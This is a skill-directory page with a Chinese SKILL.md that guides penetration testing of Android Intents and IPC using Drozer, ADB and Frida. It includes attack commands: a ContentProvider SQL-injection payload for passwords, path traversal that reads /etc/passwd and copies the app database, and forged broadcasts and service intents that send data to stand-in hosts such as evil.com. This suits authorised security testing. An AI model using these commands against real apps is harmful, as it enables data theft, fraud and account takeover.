L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Développement · SKILL.md

testing-android-intents-for-vulnerabilities

testing-android-intents-for-vulnerabilities

测试 Android 进程间通信(IPC)中 Intent 的安全漏洞,包括 Intent 注入、未授权组件访问、 广播嗅探、PendingIntent 劫持和 ContentProvider 数据泄露。适用于评估 Android 应用导出组件 攻击面、测试 Intent 数据流或评估 IPC 安全性的场景。适合涉及 Android Intent 安全、IPC 测试、 导出组件分析或 Drozer 评估的相关请求。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: testing-android-intents-for-vulnerabilities description: > 测试 Android 进程间通信(IPC)中 Intent 的安全漏洞,包括 Intent 注入、未授权组件访问、 广播嗅探、PendingIntent 劫持和 ContentProvider 数据泄露。适用于评估 Android 应用导出组件 攻击面、测试 Intent 数据流或评估 IPC 安全性的场景。适合涉及 Android Intent 安全、IPC 测试、 导出组件分析或 Drozer 评估的相关请求。 domain: cybersecurity subdomain: mobile-security author: mahipal tags: [mobile-security, android, intents, ipc-security, owasp-mobile, penetration-testing] version: 1.0.0 license: Apache-2.0

测试 Android Intent 漏洞

适用场景

适用于以下情况:

  • 评估 Android 应用导出的 Activity、Service、BroadcastReceiver 和 ContentProvider
  • 测试 Intent 注入和未授权组件调用漏洞
  • 评估广播接收器(BroadcastReceiver)安全性,检测敏感数据暴露
  • 对 Android 应用进行以 IPC 为重点的渗透测试

不适用场景:未经明确授权,不得在生产设备上使用。

前置条件

  • 已 Root 的 Android 设备或模拟器,并配置 ADB
  • 目标设备上已安装 Drozer Agent(drozer agent.apk)
  • 主机端已安装 Drozer 控制台(pip install drozer)
  • 使用 apktool 对目标 APK 进行反编译,以分析 AndroidManifest.xml
  • Frida 用于运行时 Intent 监控

工作流程

步骤 1:枚举导出组件

# 使用 Drozer
drozer console connect
run app.package.info -a com.target.app
run app.package.attacksurface com.target.app

# 输出内容:
# X 个已导出 Activity
# X 个已导出广播接收器
# X 个已导出内容提供者
# X 个已导出 Service

# 列出已导出 Activity
run app.activity.info -a com.target.app

# 列出已导出 Service
run app.service.info -a com.target.app

# 列出已导出广播接收器
run app.broadcast.info -a com.target.app

# 列出内容提供者
run app.provider.info -a com.target.app

步骤 2:测试导出 Activity

# 直接启动导出 Activity
run app.activity.start --component com.target.app com.target.app.AdminActivity

# 携带 Intent Extra 参数启动
run app.activity.start --component com.target.app com.target.app.ProfileActivity \
  --extra string user_id 1337

# 通过数据 URI 测试 Intent 注入
adb shell am start -a android.intent.action.VIEW \
  -d "content://com.target.app/users/admin" com.target.app

# 若管理 Activity 无需认证即可打开,上报为授权绕过漏洞

步骤 3:测试广播接收器

# 向导出广播接收器发送广播
run app.broadcast.send --action com.target.app.PROCESS_PAYMENT \
  --extra string amount "0.01" --extra string recipient "attacker"

# 嗅探广播中的敏感数据
run app.broadcast.sniff --action com.target.app.USER_LOGIN

# 通过 ADB 发送广播
adb shell am broadcast -a com.target.app.RESET_PASSWORD \
  --es email "attacker@evil.com"

步骤 4:测试内容提供者

# 查询内容提供者,检测数据泄露
run app.provider.query content://com.target.app.provider/users
run app.provider.query content://com.target.app.provider/users --projection "password"

# 测试内容提供者 SQL 注入
run app.provider.query content://com.target.app.provider/users \
  --selection "1=1) UNION SELECT username,password FROM users--"

# 测试路径遍历
run app.provider.read content://com.target.app.provider/../../etc/passwd
run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db

# 查找可注入的内容提供者
run scanner.provider.injection -a com.target.app
run scanner.provider.traversal -a com.target.app

步骤 5:测试 PendingIntent 漏洞

// 通过 Frida 监控 PendingIntent 创建
Java.perform(function() {
    var PendingIntent = Java.use("android.app.PendingIntent");

    PendingIntent.getActivity.overload("android.content.Context", "int",
        "android.content.Intent", "int").implementation =
        function(context, requestCode, intent, flags) {
            console.log("[PendingIntent] getActivity:");
            console.log("  Intent: " + intent.toString());
            console.log("  Flags: " + flags);

            // 检查 FLAG_IMMUTABLE(安全)与 FLAG_MUTABLE(存在漏洞)
            var FLAG_MUTABLE = 0x02000000;
            if ((flags & FLAG_MUTABLE) !== 0) {
                console.log("  [漏洞] FLAG_MUTABLE - PendingIntent 可被接收方修改");
            }
            return this.getActivity(context, requestCode, intent, flags);
        };
});

步骤 6:测试 Service 绑定

# 尝试绑定导出 Service
run app.service.start --action com.target.app.SYNC_SERVICE \
  --extra string server "https://evil.com/data_sink"

run app.service.send com.target.app com.target.app.MessengerService \
  --msg 1 0 0 --extra string command "dump_database" --bundle-as-obj

核心概念

术语定义
导出组件(Exported Component)设备上其他应用可访问的 Android 组件(Activity/Service/BroadcastReceiver/ContentProvider)
Intent用于向其他组件请求操作的消息对象;可为显式(指定目标)或隐式(基于 Action)
PendingIntent封装 Intent 供其他应用未来执行的令牌;可变的 PendingIntent 可被接收方修改
ContentProvider(内容提供者)用于应用间结构化数据共享的组件;若查询参数未过滤,为 SQL 注入攻击目标
BroadcastReceiver(广播接收器)接收系统或应用广播的组件;导出的广播接收器可被任意应用触发

工具与系统

  • Drozer:Android 安全评估框架,内置 IPC 测试模块
  • ADB:命令行工具,用于触发 Intent、启动 Activity 和发送广播
  • Frida:运行时监控 Intent 处理和 PendingIntent 创建
  • apktool:APK 反编译工具,用于分析 AndroidManifest.xml 中的组件导出状态
  • Intent Fuzzer:自动化模糊测试工具,对导出组件的 Intent 参数进行模糊测试

常见问题

  • android:exported 默认值在 API 31 发生变化:含有 Intent Filter 的组件在 API 31 以下默认为 exported=true,API 31+ 默认为 exported=false。需检查 targetSdkVersion。
  • 权限保护组件:导出组件仍可能需要特定权限才能访问。需分别测试有权限和无权限两种情况。
  • 隐式 Intent 与显式 Intent:只有隐式 Intent(基于 Action)才可被其他应用拦截;显式 Intent(指定目标组件)是安全的。
  • 自定义权限:应用可定义具有不同保护级别的自定义权限(normal、dangerous、signature)。Signature 级别权限仅可授予使用相同证书签名的应用。
Skills enregistrées